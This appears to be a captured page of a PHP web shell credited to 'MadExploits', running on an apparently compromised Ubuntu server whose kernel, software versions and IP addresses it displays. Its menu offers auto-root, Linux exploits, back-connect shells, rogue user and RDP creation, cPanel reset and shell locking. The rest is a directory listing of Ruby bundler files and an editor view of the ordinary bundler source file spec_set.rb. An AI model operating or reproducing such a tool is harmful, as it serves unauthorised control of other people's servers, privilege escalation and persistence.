Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
3.0.0 /
bundler /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
compact_index_client
[ DIR ]
drwxr-xr-x
fetcher
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
plugin
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
build_metadata.rb
1.22
KB
-rw-r--r--
capistrano.rb
883
B
-rw-r--r--
cli.rb
38.09
KB
-rw-r--r--
compact_index_client.rb
3.59
KB
-rw-r--r--
constants.rb
212
B
-rw-r--r--
current_ruby.rb
2.14
KB
-rw-r--r--
definition.rb
32.47
KB
-rw-r--r--
dep_proxy.rb
961
B
-rw-r--r--
dependency.rb
4.79
KB
-rw-r--r--
deployment.rb
3.19
KB
-rw-r--r--
deprecate.rb
876
B
-rw-r--r--
dsl.rb
19.9
KB
-rw-r--r--
endpoint_specification.rb
3.91
KB
-rw-r--r--
env.rb
5.01
KB
-rw-r--r--
environment_preserver.rb
1.9
KB
-rw-r--r--
errors.rb
4.67
KB
-rw-r--r--
feature_flag.rb
1.94
KB
-rw-r--r--
fetcher.rb
11.22
KB
-rw-r--r--
friendly_errors.rb
4.34
KB
-rw-r--r--
gem_helper.rb
7.38
KB
-rw-r--r--
gem_helpers.rb
3.85
KB
-rw-r--r--
gem_tasks.rb
138
B
-rw-r--r--
gem_version_promoter.rb
6.54
KB
-rw-r--r--
gemdeps.rb
423
B
-rw-r--r--
graph.rb
4.99
KB
-rw-r--r--
index.rb
5.38
KB
-rw-r--r--
injector.rb
9.46
KB
-rw-r--r--
inline.rb
2.79
KB
-rw-r--r--
installer.rb
11.37
KB
-rw-r--r--
lazy_specification.rb
4.13
KB
-rw-r--r--
lockfile_generator.rb
2.18
KB
-rw-r--r--
lockfile_parser.rb
7.21
KB
-rw-r--r--
match_platform.rb
660
B
-rw-r--r--
mirror.rb
5.82
KB
-rw-r--r--
plugin.rb
10.58
KB
-rw-r--r--
process_lock.rb
702
B
-rw-r--r--
psyched_yaml.rb
582
B
-rw-r--r--
remote_specification.rb
3.64
KB
-rw-r--r--
resolver.rb
15.15
KB
-rw-r--r--
retry.rb
1.61
KB
-rw-r--r--
ruby_dsl.rb
761
B
-rw-r--r--
ruby_version.rb
4.45
KB
-rw-r--r--
rubygems_ext.rb
5.93
KB
-rw-r--r--
rubygems_gem_installer.rb
4.38
KB
-rw-r--r--
rubygems_integration.rb
17.28
KB
-rw-r--r--
runtime.rb
10.36
KB
-rw-r--r--
settings.rb
12.92
KB
-rw-r--r--
setup.rb
802
B
-rw-r--r--
shared_helpers.rb
11.27
KB
-rw-r--r--
similarity_detector.rb
1.84
KB
-rw-r--r--
source.rb
3.08
KB
-rw-r--r--
source_list.rb
6.68
KB
-rw-r--r--
source_map.rb
1.78
KB
-rw-r--r--
spec_set.rb
5.42
KB
-rw-r--r--
stub_specification.rb
2.87
KB
-rw-r--r--
ui.rb
255
B
-rw-r--r--
uri_credentials_filter.rb
1.28
KB
-rw-r--r--
vendored_fileutils.rb
101
B
-rw-r--r--
vendored_molinillo.rb
101
B
-rw-r--r--
vendored_persistent.rb
1.44
KB
-rw-r--r--
vendored_thor.rb
180
B
-rw-r--r--
vendored_tmpdir.rb
95
B
-rw-r--r--
vendored_uri.rb
89
B
-rw-r--r--
version.rb
180
B
-rw-r--r--
version_ranges.rb
3.8
KB
-rw-r--r--
vlad.rb
468
B
-rw-r--r--
worker.rb
2.59
KB
-rw-r--r--
yaml_serializer.rb
2.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spec_set.rb
# frozen_string_literal: true require "tsort" module Bundler class SpecSet include Enumerable include TSort def initialize(specs) @specs = specs end def for(dependencies, skip = [], check = false, match_current_platform = false, raise_on_missing = true) handled = [] deps = dependencies.dup specs = [] skip += ["bundler"] loop do break unless dep = deps.shift next if handled.include?(dep) || skip.include?(dep.name) handled << dep specs_for_dep = spec_for_dependency(dep, match_current_platform) if specs_for_dep.any? specs += specs_for_dep specs_for_dep.first.dependencies.each do |d| next if d.type == :development d = DepProxy.get_proxy(d, dep.__platform) unless match_current_platform deps << d end elsif check return false elsif raise_on_missing others = lookup[dep.name] if match_current_platform message = "Unable to find a spec satisfying #{dep} in the set. Perhaps the lockfile is corrupted?" message += " Found #{others.join(", ")} that did not match the current platform." if others && !others.empty? raise GemNotFound, message end end if spec = lookup["bundler"].first specs << spec end check ? true : specs end def [](key) key = key.name if key.respond_to?(:name) lookup[key].reverse end def []=(key, value) @specs << value @lookup = nil @sorted = nil end def sort! self end def to_a sorted.dup end def to_hash lookup.dup end def materialize(deps, missing_specs = nil) materialized = self.for(deps, [], false, true, !missing_specs) materialized.group_by(&:source).each do |source, specs| next unless specs.any?{|s| s.is_a?(LazySpecification) } source.local! names = -> { specs.map(&:name).uniq } source.double_check_for(names) end materialized.map! do |s| next s unless s.is_a?(LazySpecification) spec = s.__materialize__ unless spec unless missing_specs raise GemNotFound, "Could not find #{s.full_name} in any of the sources" end missing_specs << s end spec end SpecSet.new(missing_specs ? materialized.compact : materialized) end # Materialize for all the specs in the spec set, regardless of what platform they're for # This is in contrast to how for does platform filtering (and specifically different from how `materialize` calls `for` only for the current platform) # @return [Array<Gem::Specification>] def materialized_for_all_platforms @specs.group_by(&:source).each do |source, specs| next unless specs.any?{|s| s.is_a?(LazySpecification) } source.local! source.remote! names = -> { specs.map(&:name).uniq } source.double_check_for(names) end @specs.map do |s| next s unless s.is_a?(LazySpecification) spec = s.__materialize__ raise GemNotFound, "Could not find #{s.full_name} in any of the sources" unless spec spec end end def merge(set) arr = sorted.dup set.each do |set_spec| full_name = set_spec.full_name next if arr.any? {|spec| spec.full_name == full_name } arr << set_spec end SpecSet.new(arr) end def find_by_name_and_platform(name, platform) @specs.detect {|spec| spec.name == name && spec.match_platform(platform) } end def what_required(spec) unless req = find {|s| s.dependencies.any? {|d| d.type == :runtime && d.name == spec.name } } return [spec] end what_required(req) << spec end def <<(spec) @specs << spec end def length @specs.length end def size @specs.size end def empty? @specs.empty? end def each(&b) sorted.each(&b) end private def sorted rake = @specs.find {|s| s.name == "rake" } begin @sorted ||= ([rake] + tsort).compact.uniq rescue TSort::Cyclic => error cgems = extract_circular_gems(error) raise CyclicDependencyError, "Your bundle requires gems that depend" \ " on each other, creating an infinite loop. Please remove either" \ " gem '#{cgems[1]}' or gem '#{cgems[0]}' and try again." end end def extract_circular_gems(error) error.message.scan(/@name="(.*?)"/).flatten end def lookup @lookup ||= begin lookup = Hash.new {|h, k| h[k] = [] } Index.sort_specs(@specs).reverse_each do |s| lookup[s.name] << s end lookup end end def tsort_each_node # MUST sort by name for backwards compatibility @specs.sort_by(&:name).each {|s| yield s } end def spec_for_dependency(dep, match_current_platform) specs_for_platforms = lookup[dep.name] if match_current_platform GemHelpers.select_best_platform_match(specs_for_platforms, Bundler.local_platform) else GemHelpers.select_best_platform_match(specs_for_platforms, dep.__platform) end end def tsort_each_child(s) s.dependencies.sort_by(&:name).each do |d| next if d.type == :development lookup[d.name].each {|s2| yield s2 } end end end end
Close